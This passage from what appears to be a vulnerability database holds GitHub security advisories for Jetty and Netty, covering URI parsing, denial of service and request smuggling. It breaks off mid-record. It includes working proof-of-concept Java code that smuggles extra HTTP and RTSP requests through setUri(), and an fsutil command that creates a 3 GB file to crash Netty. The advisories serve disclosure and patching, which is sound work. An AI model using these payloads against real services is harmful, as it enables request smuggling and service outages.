Parsing.pdf](https://github.com/user-attachments/files/22222630/Java.Eclipse.Jetty.Report_.Improper.IPv4-mapped.IPv6.Parsing.pdf)",
"id": "GHSA-wjpw-4j6x-6rwh",
"modified": "2026-03-05T21:41:25Z",
"published": "2026-03-05T21:41:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jetty/jetty.project/security/advisories/GHSA-wjpw-4j6x-6rwh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11143"
},
{
"type": "PACKAGE",
"url": "https://github.com/jetty/jetty.project"
},
{
"type": "WEB",
"url": "https://github.com/user-attachments/files/22222625/Java.Eclipse.Jetty.Report_.Incorrect.Parsing.Priority.of.the.IPv6.Hostname.Delimeter.pdf"
},
{
"type": "WEB",
"url": "https://github.com/user-attachments/files/22222626/Java.Eclipse.Jetty.Report_.The.Parsing.Priority.of.the.Delimiter.pdf"
},
{
"type": "WEB",
"url": "https://github.com/user-attachments/files/22222627/Java.Eclipse.Jetty.Report_.Parsing.Difference.Due.to.Deformed.Scheme.pdf"
},
{
"type": "WEB",
"url": "https://github.com/user-attachments/files/22222630/Java.Eclipse.Jetty.Report_.Improper.IPv4-mapped.IPv6.Parsing.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "org.eclipse.jetty:jetty-http has different parsing of invalid URIs"
}
GHSA-XQ3W-V528-46RV
Vulnerability from github – Published: 2024-11-12 19:53 – Updated: 2025-02-18 15:57Summary
An unsafe reading of environment file could potentially cause a denial of service in Netty. When loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash.
Details
When the library netty is loaded in a java windows application, the library tries to identify the system environnement in which it is executed.
At this stage, Netty tries to load both /etc/os-release and /usr/lib/os-release even though it is in a Windows environment.
If netty finds this files, it reads them and loads them into memory.
By default :
- The JVM maximum memory size is set to 1 GB,
- A non-privileged user can create a directory at
C:\and create files within it.
the source code identified : https://github.com/netty/netty/blob/4.1/common/src/main/java/io/netty/util/internal/PlatformDependent.java
Despite the implementation of the function normalizeOs() the source code not verify the OS before reading C:\etc\os-release and C:\usr\lib\os-release.
PoC
Create a file larger than 1 GB of data in C:\etc\os-release or C:\usr\lib\os-release on a Windows environnement and start your Netty application.
To observe what the application does with the file, the security analyst used "Process Monitor" from the "Windows SysInternals" suite. (https://learn.microsoft.com/en-us/sysinternals/)
cd C:\etc
fsutil file createnew os-release 3000000000
The source code used is the Netty website code example : Echo ‐ the very basic client and server.
The vulnerability was tested on the 4.1.112.Final version.
The security analyst tried the same technique for C:\proc\sys\net\core\somaxconn with a lot of values to impact Netty but the only things that works is the "larger than 1 GB file" technique. https://github.com/netty/netty/blob/c0fdb8e9f8f256990e902fcfffbbe10754d0f3dd/common/src/main/java/io/netty/util/NetUtil.java#L186
Impact
By loading the "file larger than 1 GB" into the memory, the Netty library exceeds the JVM memory limit and causes a crash in the java Windows application.
This behaviour occurs 100% of the time in both Server mode and Client mode if the large file exists.
Client mode :
Server mode :
somaxconn :
Severity
- Attack vector : "Local" because the attacker needs to be on the system where the Netty application is running.
- Attack complexity : "Low" because the attacker only need to create a massive file (regardless of its contents).
- Privileges required : "Low" because the attacker requires a user account to exploit the vulnerability.
- User intercation : "None" because the administrator don't need to accidentally click anywhere to trigger the vulnerability. Furthermore, the exploitation works with defaults windows/AD settings.
- Scope : "Unchanged" because only Netty is affected by the vulnerability.
- Confidentiality : "None" because no data is exposed through exploiting the vulnerability.
- Integrity : "None" because the explotation of the vulnerability does not allow editing, deleting or adding data elsewhere.
- Availability : "High" because the exploitation of this vulnerability crashes the entire java application.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.114.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-common"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.115.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-47535"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2024-11-12T19:53:17Z",
"nvd_published_at": "2024-11-12T16:15:22Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nAn unsafe reading of environment file could potentially cause a denial of service in Netty.\nWhen loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash.\n\n\n### Details\n\nWhen the library netty is loaded in a java windows application, the library tries to identify the system environnement in which it is executed.\n\nAt this stage, Netty tries to load both `/etc/os-release` and `/usr/lib/os-release` even though it is in a Windows environment. \n\n\u003cimg width=\"364\" alt=\"1\" src=\"https://github.com/user-attachments/assets/9466b181-9394-45a3-b0e3-1dcf105def59\"\u003e\n\nIf netty finds this files, it reads them and loads them into memory.\n\nBy default :\n\n- The JVM maximum memory size is set to 1 GB,\n- A non-privileged user can create a directory at `C:\\` and create files within it.\n\n\u003cimg width=\"340\" alt=\"2\" src=\"https://github.com/user-attachments/assets/43b359a2-5871-4592-ae2b-ffc40ac76831\"\u003e\n\n\u003cimg width=\"523\" alt=\"3\" src=\"https://github.com/user-attachments/assets/ad5c6eed-451c-4513-92d5-ba0eee7715c1\"\u003e\n\nthe source code identified :\nhttps://github.com/netty/netty/blob/4.1/common/src/main/java/io/netty/util/internal/PlatformDependent.java\n\nDespite the implementation of the function `normalizeOs()` the source code not verify the OS before reading `C:\\etc\\os-release` and `C:\\usr\\lib\\os-release`.\n\n### PoC\n\nCreate a file larger than 1 GB of data in `C:\\etc\\os-release` or `C:\\usr\\lib\\os-release` on a Windows environnement and start your Netty application.\n\nTo observe what the application does with the file, the security analyst used \"Process Monitor\" from the \"Windows SysInternals\" suite. (https://learn.microsoft.com/en-us/sysinternals/)\n\n```\ncd C:\\etc\nfsutil file createnew os-release 3000000000\n```\n\n\u003cimg width=\"519\" alt=\"4\" src=\"https://github.com/user-attachments/assets/39df22a3-462b-4fd0-af9a-aa30077ec08f\"\u003e\n\n\u003cimg width=\"517\" alt=\"5\" src=\"https://github.com/user-attachments/assets/129dbd50-fc36-4da5-8eb1-582123fb528f\"\u003e\n\nThe source code used is the Netty website code example : [Echo \u2010 the very basic client and server](https://netty.io/4.1/xref/io/netty/example/echo/package-summary.html).\n\nThe vulnerability was tested on the 4.1.112.Final version.\n\nThe security analyst tried the same technique for `C:\\proc\\sys\\net\\core\\somaxconn` with a lot of values to impact Netty but the only things that works is the \"larger than 1 GB file\" technique. https://github.com/netty/netty/blob/c0fdb8e9f8f256990e902fcfffbbe10754d0f3dd/common/src/main/java/io/netty/util/NetUtil.java#L186\n\n### Impact\n\nBy loading the \"file larger than 1 GB\" into the memory, the Netty library exceeds the JVM memory limit and causes a crash in the java Windows application.\n\nThis behaviour occurs 100% of the time in both Server mode and Client mode if the large file exists.\n\nClient mode :\n\n\u003cimg width=\"449\" alt=\"6\" src=\"https://github.com/user-attachments/assets/f8fe1ed0-1a42-4490-b9ed-dbc9af7804be\"\u003e\n\nServer mode :\n\n\u003cimg width=\"464\" alt=\"7\" src=\"https://github.com/user-attachments/assets/b34b42bd-4fbd-4170-b93a-d29ba87b88eb\"\u003e\n\nsomaxconn :\n\n\u003cimg width=\"532\" alt=\"8\" src=\"https://github.com/user-attachments/assets/0656b3bb-32c6-4ae2-bff7-d93babba08a3\"\u003e\n\n### Severity\n\n- Attack vector : \"Local\" because the attacker needs to be on the system where the Netty application is running.\n- Attack complexity : \"Low\" because the attacker only need to create a massive file (regardless of its contents).\n- Privileges required : \"Low\" because the attacker requires a user account to exploit the vulnerability.\n- User intercation : \"None\" because the administrator don\u0027t need to accidentally click anywhere to trigger the vulnerability. Furthermore, the exploitation works with defaults windows/AD settings.\n- Scope : \"Unchanged\" because only Netty is affected by the vulnerability.\n- Confidentiality : \"None\" because no data is exposed through exploiting the vulnerability.\n- Integrity : \"None\" because the explotation of the vulnerability does not allow editing, deleting or adding data elsewhere.\n- Availability : \"High\" because the exploitation of this vulnerability crashes the entire java application.",
"id": "GHSA-xq3w-v528-46rv",
"modified": "2025-02-18T15:57:45Z",
"published": "2024-11-12T19:53:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47535"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/fbf7a704a82e7449b48bd0bbb679f5661c6d61a3"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Denial of Service attack on windows app using netty"
}
GHSA-V8H7-RR48-VMMV
Vulnerability from github – Published: 2026-05-05 18:27 – Updated: 2026-05-08 19:32Summary
Netty allows request-line validation to be bypassed when a DefaultHttpRequest or DefaultFullHttpRequest is created first and its URI is later changed via setUri().
The constructors reject CRLF and whitespace characters that would break the start-line, but setUri() does not apply the same validation. HttpRequestEncoder and RtspEncoder then write the URI into the request line verbatim. If attacker-controlled input reaches setUri(), this enables CRLF injection and insertion of additional HTTP or RTSP requests.
In practice, this leads to HTTP request smuggling / desynchronization on the HTTP side and request injection on the RTSP side.
Details
The root issue is that URI validation exists only on the constructor path, but not on the public setter path.
io.netty.handler.codec.http.DefaultHttpRequest- The constructor calls
HttpUtil.validateRequestLineTokens(method, uri) setUri(String uri)only performscheckNotNulland does not validateio.netty.handler.codec.http.DefaultFullHttpRequestsetUri(String uri)delegates to the parent implementationio.netty.handler.codec.http.HttpRequestEncoder- Writes
request.uri()directly into the request line io.netty.handler.codec.rtsp.RtspEncoder- Writes
request.uri()directly into the request line
This creates the following bypass:
- An application creates a
DefaultHttpRequestorDefaultFullHttpRequestwith a safe URI - Later, attacker-influenced input is passed into
setUri() HttpRequestEncoderorRtspEncoderencodes that value verbatim- The downstream server, proxy, or RTSP peer interprets the injected bytes after CRLF as separate requests
This appears to be an incomplete fix pattern where start-line validation exists, but can still be bypassed through a mutable public API.
PoC (HTTP)
The following code first creates a normal request object and then injects a malicious request line using setUri().
import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.DefaultHttpRequest;
import io.netty.handler.codec.http.HttpMethod;
import io.netty.handler.codec.http.HttpRequestEncoder;
import io.netty.handler.codec.http.HttpServerCodec;
import io.netty.handler.codec.http.HttpVersion;
import io.netty.util.CharsetUtil;
public final class HttpSetUriSmugglePoc {
public static void main(String[] args) {
EmbeddedChannel client = new EmbeddedChannel(new HttpRequestEncoder());
EmbeddedChannel server = new EmbeddedChannel(new HttpServerCodec());
DefaultHttpRequest request = new DefaultHttpRequest(
HttpVersion.HTTP_1_1, HttpMethod.GET, "/safe");
request.setUri("/s1 HTTP/1.1\r\n" +
"\r\n" +
"POST /s2 HTTP/1.1\r\n" +
"content-length: 11\r\n\r\n" +
"Hello World" +
"GET /s1");
client.writeOutbound(request);
ByteBuf outbound = client.readOutbound();
System.out.println("=== Raw encoded request ===");
System.out.println(outbound.toString(CharsetUtil.US_ASCII));
System.out.println("=== Decoded by HttpServerCodec ===");
server.writeInbound(outbound.retainedDuplicate());
Object msg;
while ((msg = server.readInbound()) != null) {
System.out.println(msg);
}
outbound.release();
client.finishAndReleaseAll();
server.finishAndReleaseAll();
}
}
When reproduced, the raw encoded request looks like this:
GET /s1 HTTP/1.1
POST /s2 HTTP/1.1
content-length: 11
Hello WorldGET /s1 HTTP/1.1
HttpServerCodec then parses this as multiple HTTP messages rather than a single request:
GET /s1POST /s2with bodyHello World- trailing
GET /s1
This confirms that the value supplied through setUri() is interpreted on the wire as additional requests.
PoC (RTSP)
The same root cause also affects RtspEncoder. A minimal reproduction is shown below.
import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.DefaultHttpRequest;
import io.netty.handler.codec.rtsp.RtspDecoder;
import io.netty.handler.codec.rtsp.RtspEncoder;
import io.netty.handler.codec.rtsp.RtspMethods;
import io.netty.handler.codec.rtsp.RtspVersions;
import io.netty.util.CharsetUtil;
public final class RtspSetUriSmugglePoc {
public static void main(String[] args) {
EmbeddedChannel client = new EmbeddedChannel(new RtspEncoder());
EmbeddedChannel server = new EmbeddedChannel(new RtspDecoder());
DefaultHttpRequest request = new DefaultHttpRequest(
RtspVersions.RTSP_1_0, RtspMethods.OPTIONS, "rtsp://safe/media");
request.setUri("rtsp://cam/stream RTSP/1.0\r\n" +
"CSeq: 1\r\n\r\n" +
"DESCRIBE rtsp://cam/secret RTSP/1.0\r\n" +
"CSeq: 2\r\n\r\n" +
"OPTIONS rtsp://cam/final");
client.writeOutbound(request);
ByteBuf outbound = client.readOutbound();
System.out.println("=== Raw encoded RTSP request ===");
System.out.println(outbound.toString(CharsetUtil.US_ASCII));
System.out.println("=== Decoded by RtspDecoder ===");
server.writeInbound(outbound.retainedDuplicate());
}
}
When reproduced, RtspEncoder generates consecutive RTSP requests in a single encoded payload:
OPTIONS rtsp://cam/stream RTSP/1.0
CSeq: 1
DESCRIBE rtsp://cam/secret RTSP/1.0
CSeq: 2
OPTIONS rtsp://cam/final RTSP/1.0
RtspDecoder then parses this as three separate RTSP requests:
OPTIONS rtsp://cam/streamDESCRIBE rtsp://cam/secretOPTIONS rtsp://cam/final
This confirms that the same setter bypass is exploitable for RTSP request injection as well.
Impact
The vulnerable conditions are:
- The application uses
DefaultHttpRequestorDefaultFullHttpRequest - The request object is created first and later modified through
setUri() - The value passed into
setUri()is attacker-controlled or attacker-influenced - The object is eventually serialized by
HttpRequestEncoderorRtspEncoder
Under those conditions, an attacker may be able to:
- perform HTTP request smuggling
- trigger proxy/backend desynchronization
- inject additional requests toward internal APIs
- confuse request boundaries and bypass assumptions around authentication or routing
- inject RTSP requests
The exact impact depends on how the application constructs URIs and how the upstream/downstream HTTP or RTSP components parse request boundaries, but the security impact is real and reproducible.
Root Cause
Validation is enforced only at object construction time, but not on the public mutation API that can break the same security invariant.
As a result, the constructors are safe while the public setUri() path is not, and the encoders trust and serialize the mutated value without revalidation.
Suggested Fix Direction
DefaultHttpRequest.setUri() and all delegating/inheriting paths should apply the same request-line token validation as the constructors.
Recommended regression coverage:
- verify that
setUri()rejects CRLF-containing input after object construction - verify that
DefaultFullHttpRequest.setUri()is blocked as well - verify that spaces,
\r,\n, and request-smuggling payloads are rejected - verify that both
HttpRequestEncoderandRtspEncoderare protected from setter-based bypasses
Affected Area
netty-codec-httpio.netty.handler.codec.http.DefaultHttpRequestio.netty.handler.codec.http.DefaultFullHttpRequestio.netty.handler.codec.http.HttpRequestEncoderio.netty.handler.codec.rtsp.RtspEncoder
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41417"
],
"database_specific": {
"cwe_ids": [
"CWE-444",
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T18:27:35Z",
"nvd_published_at": "2026-05-06T22:16:25Z",
"severity": "MODERATE"
},
"details": "### Summary\nNetty allows request-line validation to be bypassed when a `DefaultHttpRequest` or `DefaultFullHttpRequest` is created first and its URI is later changed via `setUri()`.\n\nThe constructors reject CRLF and whitespace characters that would break the start-line, but `setUri()` does not apply the same validation. `HttpRequestEncoder` and `RtspEncoder` then write the URI into the request line verbatim. If attacker-controlled input reaches `setUri()`, this enables CRLF injection and insertion of additional HTTP or RTSP requests.\n\nIn practice, this leads to HTTP request smuggling / desynchronization on the HTTP side and request injection on the RTSP side.\n\n### Details\nThe root issue is that URI validation exists only on the constructor path, but not on the public setter path.\n\n- `io.netty.handler.codec.http.DefaultHttpRequest`\n - The constructor calls `HttpUtil.validateRequestLineTokens(method, uri)`\n - `setUri(String uri)` only performs `checkNotNull` and does not validate\n- `io.netty.handler.codec.http.DefaultFullHttpRequest`\n - `setUri(String uri)` delegates to the parent implementation\n- `io.netty.handler.codec.http.HttpRequestEncoder`\n - Writes `request.uri()` directly into the request line\n- `io.netty.handler.codec.rtsp.RtspEncoder`\n - Writes `request.uri()` directly into the request line\n\nThis creates the following bypass:\n\n1. An application creates a `DefaultHttpRequest` or `DefaultFullHttpRequest` with a safe URI\n2. Later, attacker-influenced input is passed into `setUri()`\n3. `HttpRequestEncoder` or `RtspEncoder` encodes that value verbatim\n4. The downstream server, proxy, or RTSP peer interprets the injected bytes after CRLF as separate requests\n\nThis appears to be an incomplete fix pattern where start-line validation exists, but can still be bypassed through a mutable public API.\n\n### PoC (HTTP)\nThe following code first creates a normal request object and then injects a malicious request line using `setUri()`.\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.DefaultHttpRequest;\nimport io.netty.handler.codec.http.HttpMethod;\nimport io.netty.handler.codec.http.HttpRequestEncoder;\nimport io.netty.handler.codec.http.HttpServerCodec;\nimport io.netty.handler.codec.http.HttpVersion;\nimport io.netty.util.CharsetUtil;\n\npublic final class HttpSetUriSmugglePoc {\n public static void main(String[] args) {\n EmbeddedChannel client = new EmbeddedChannel(new HttpRequestEncoder());\n EmbeddedChannel server = new EmbeddedChannel(new HttpServerCodec());\n\n DefaultHttpRequest request = new DefaultHttpRequest(\n HttpVersion.HTTP_1_1, HttpMethod.GET, \"/safe\");\n\n request.setUri(\"/s1 HTTP/1.1\\r\\n\" +\n \"\\r\\n\" +\n \"POST /s2 HTTP/1.1\\r\\n\" +\n \"content-length: 11\\r\\n\\r\\n\" +\n \"Hello World\" +\n \"GET /s1\");\n\n client.writeOutbound(request);\n ByteBuf outbound = client.readOutbound();\n\n System.out.println(\"=== Raw encoded request ===\");\n System.out.println(outbound.toString(CharsetUtil.US_ASCII));\n\n System.out.println(\"=== Decoded by HttpServerCodec ===\");\n server.writeInbound(outbound.retainedDuplicate());\n\n Object msg;\n while ((msg = server.readInbound()) != null) {\n System.out.println(msg);\n }\n\n outbound.release();\n client.finishAndReleaseAll();\n server.finishAndReleaseAll();\n }\n}\n```\n\nWhen reproduced, the raw encoded request looks like this:\n\n```http\nGET /s1 HTTP/1.1\n\nPOST /s2 HTTP/1.1\ncontent-length: 11\n\nHello WorldGET /s1 HTTP/1.1\n```\n\n`HttpServerCodec` then parses this as multiple HTTP messages rather than a single request:\n\n- `GET /s1`\n- `POST /s2` with body `Hello World`\n- trailing `GET /s1`\n\nThis confirms that the value supplied through `setUri()` is interpreted on the wire as additional requests.\n\n### PoC (RTSP)\nThe same root cause also affects `RtspEncoder`. A minimal reproduction is shown below.\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.DefaultHttpRequest;\nimport io.netty.handler.codec.rtsp.RtspDecoder;\nimport io.netty.handler.codec.rtsp.RtspEncoder;\nimport io.netty.handler.codec.rtsp.RtspMethods;\nimport io.netty.handler.codec.rtsp.RtspVersions;\nimport io.netty.util.CharsetUtil;\n\npublic final class RtspSetUriSmugglePoc {\n public static void main(String[] args) {\n EmbeddedChannel client = new EmbeddedChannel(new RtspEncoder());\n EmbeddedChannel server = new EmbeddedChannel(new RtspDecoder());\n\n DefaultHttpRequest request = new DefaultHttpRequest(\n RtspVersions.RTSP_1_0, RtspMethods.OPTIONS, \"rtsp://safe/media\");\n\n request.setUri(\"rtsp://cam/stream RTSP/1.0\\r\\n\" +\n \"CSeq: 1\\r\\n\\r\\n\" +\n \"DESCRIBE rtsp://cam/secret RTSP/1.0\\r\\n\" +\n \"CSeq: 2\\r\\n\\r\\n\" +\n \"OPTIONS rtsp://cam/final\");\n\n client.writeOutbound(request);\n ByteBuf outbound = client.readOutbound();\n\n System.out.println(\"=== Raw encoded RTSP request ===\");\n System.out.println(outbound.toString(CharsetUtil.US_ASCII));\n\n System.out.println(\"=== Decoded by RtspDecoder ===\");\n server.writeInbound(outbound.retainedDuplicate());\n }\n}\n```\n\nWhen reproduced, `RtspEncoder` generates consecutive RTSP requests in a single encoded payload:\n\n```text\nOPTIONS rtsp://cam/stream RTSP/1.0\nCSeq: 1\n\nDESCRIBE rtsp://cam/secret RTSP/1.0\nCSeq: 2\n\nOPTIONS rtsp://cam/final RTSP/1.0\n```\n\n`RtspDecoder` then parses this as three separate RTSP requests:\n\n- `OPTIONS rtsp://cam/stream`\n- `DESCRIBE rtsp://cam/secret`\n- `OPTIONS rtsp://cam/final`\n\nThis confirms that the same setter bypass is exploitable for RTSP request injection as well.\n\n### Impact\nThe vulnerable conditions are:\n\n- The application uses `DefaultHttpRequest` or `DefaultFullHttpRequest`\n- The request object is created first and later modified through `setUri()`\n- The value passed into `setUri()` is attacker-controlled or attacker-influenced\n- The object is eventually serialized by `HttpRequestEncoder` or `RtspEncoder`\n\nUnder those conditions, an attacker may be able to:\n\n- perform HTTP request smuggling\n- trigger proxy/backend desynchronization\n- inject additional requests toward internal APIs\n- confuse request boundaries and bypass assumptions around authentication or routing\n- inject RTSP requests\n\nThe exact impact depends on how the application constructs URIs and how the upstream/downstream HTTP or RTSP components parse request boundaries, but the security impact is real and reproducible.\n\n### Root Cause\nValidation is enforced only at object construction time, but not on the public mutation API that can break the same security invariant.\n\nAs a result, the constructors are safe while the public `setUri()` path is not, and the encoders trust and serialize the mutated value without revalidation.\n\n### Suggested Fix Direction\n`DefaultHttpRequest.setUri()` and all delegating/inheriting paths should apply the same request-line token validation as the constructors.\n\nRecommended regression coverage:\n\n- verify that `setUri()` rejects CRLF-containing input after object construction\n- verify that `DefaultFullHttpRequest.setUri()` is blocked as well\n- verify that spaces, `\\r`, `\\n`, and request-smuggling payloads are rejected\n- verify that both `HttpRequestEncoder` and `RtspEncoder` are protected from setter-based bypasses\n\n### Affected Area\n- `netty-codec-http`\n- `io.netty.handler.codec.http.DefaultHttpRequest`\n- `io.netty.handler.codec.http.DefaultFullHttpRequest`\n- `io.netty.handler.codec.http.HttpRequestEncoder`\n- `io.netty.handler.codec.rtsp.RtspEncoder`",
"id": "GHSA-v8h7-rr48-vmmv",
"modified": "2026-05-08T19:32:42Z",
"published": "2026-05-05T18:27:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-v8h7-rr48-vmmv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41417"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty: Start-Line Injection in DefaultHttpRequest.setUri() Allows HTTP Request Smuggling and RTSP Request Injection"
}
GHSA-5JPM-X58V-624V
Vulnerability from github – Published: 2024-03-25 19:40 – Updated: 2024-06-22 00:30Summary
The HttpPostRequestDecoder can be tricked to accumulate data. I have spotted currently two attack vectors
Details
- While the decoder can store items on the disk if configured so, there are no limits to the number of fields the form can have, an attacher can send a chunked post consisting of many small fields that will be accumulated in the
bodyListHttpDatalist. - The decoder cumulates bytes in the
undecodedChunkbuffer until it can decode a field, this field can cumulate data without limits
PoC
Here is a Netty branch that provides a fix + tests : https://github.com/vietj/netty/tree/post-request-decoder
Here is a reproducer with Vert.x (which uses this decoder) https://gist.github.com/vietj/f558b8ea81ec6505f1e9a6ca283c9ae3
Impact
Any Netty based HTTP server that uses the HttpPostRequestDecoder to decode a form.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.108.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-29025"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2024-03-25T19:40:50Z",
"nvd_published_at": "2024-03-25T20:15:08Z",
"severity": "MODERATE"
},
"details": "### Summary\nThe `HttpPostRequestDecoder` can be tricked to accumulate data. I have spotted currently two attack vectors \n\n### Details\n1. While the decoder can store items on the disk if configured so, there are no limits to the number of fields the form can have, an attacher can send a chunked post consisting of many small fields that will be accumulated in the `bodyListHttpData` list.\n2. The decoder cumulates bytes in the `undecodedChunk` buffer until it can decode a field, this field can cumulate data without limits\n\n### PoC\n\nHere is a Netty branch that provides a fix + tests : https://github.com/vietj/netty/tree/post-request-decoder\n\n\nHere is a reproducer with Vert.x (which uses this decoder) https://gist.github.com/vietj/f558b8ea81ec6505f1e9a6ca283c9ae3\n\n### Impact\nAny Netty based HTTP server that uses the `HttpPostRequestDecoder` to decode a form.",
"id": "GHSA-5jpm-x58v-624v",
"modified": "2024-06-22T00:30:55Z",
"published": "2024-03-25T19:40:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-5jpm-x58v-624v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29025"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/0d0c6ed782d13d423586ad0c71737b2c7d02058c"
},
{
"type": "WEB",
"url": "https://gist.github.com/vietj/f558b8ea81ec6505f1e9a6ca283c9ae3"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/vietj/netty/tree/post-request-decoder"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00015.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Netty\u0027s HttpPostRequestDecoder can OOM"
}
GHSA-6MJQ-H674-J845
Vulnerability from github – Published: 2023-06-20 16:33 – Updated: 2024-06-24 21:24Summary
The SniHandler can allocate up to 16MB of heap for each channel during the TLS handshake. When the handler or the channel does not have an idle timeout, it can be used to make a TCP server using the SniHandler to allocate 16MB of heap.
Details
The SniHandler class is a handler that waits for the TLS handshake to configure a SslHandler according to the indicated server name by the ClientHello record. For this matter it allocates a ByteBuf using the value defined in the ClientHello record.
Normally the value of the packet should be smaller than the handshake packet but there are not checks done here and the way the code is written, it is possible to craft a packet that makes the SslClientHelloHandler
1/ allocate a 16MB ByteBuf
2/ not fail decode method in buffer
3/ get out of the loop without an exception
The combination of this without the use of a timeout makes easy to connect to a TCP server and allocate 16MB of heap memory per connection.
Impact
If the user has no idle timeout handler configured it might be possible for a remote peer to send a client hello packet which lead the server to buffer up to 16MB of data per connection. This could lead to a OutOfMemoryError and so result in a DDOS.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-handler"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.94.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-34462"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2023-06-20T16:33:22Z",
"nvd_published_at": "2023-06-22T23:15:09Z",
"severity": "MODERATE"
},
"details": "### Summary\nThe `SniHandler` can allocate up to 16MB of heap for each channel during the TLS handshake. When the handler or the channel does not have an idle timeout, it can be used to make a TCP server using the `SniHandler` to allocate 16MB of heap.\n\n### Details\nThe `SniHandler` class is a handler that waits for the TLS handshake to configure a `SslHandler` according to the indicated server name by the `ClientHello` record. For this matter it allocates a `ByteBuf` using the value defined in the `ClientHello` record. \n\nNormally the value of the packet should be smaller than the handshake packet but there are not checks done here and the way the code is written, it is possible to craft a packet that makes the `SslClientHelloHandler`\n\n1/ allocate a 16MB `ByteBuf`\n2/ not fail `decode` method `in` buffer\n3/ get out of the loop without an exception\n\nThe combination of this without the use of a timeout makes easy to connect to a TCP server and allocate 16MB of heap memory per connection.\n\n### Impact\nIf the user has no idle timeout handler configured it might be possible for a remote peer to send a client hello packet which lead the server to buffer up to 16MB of data per connection. This could lead to a OutOfMemoryError and so result in a DDOS.",
"id": "GHSA-6mjq-h674-j845",
"modified": "2024-06-24T21:24:21Z",
"published": "2023-06-20T16:33:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-6mjq-h674-j845"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34462"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/535da17e45201ae4278c0479e6162bb4127d4c32"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20230803-0001"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20240621-0007"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2023/dsa-5558"
}
],
"schema_version": "1.4.0",
"severity": [
{
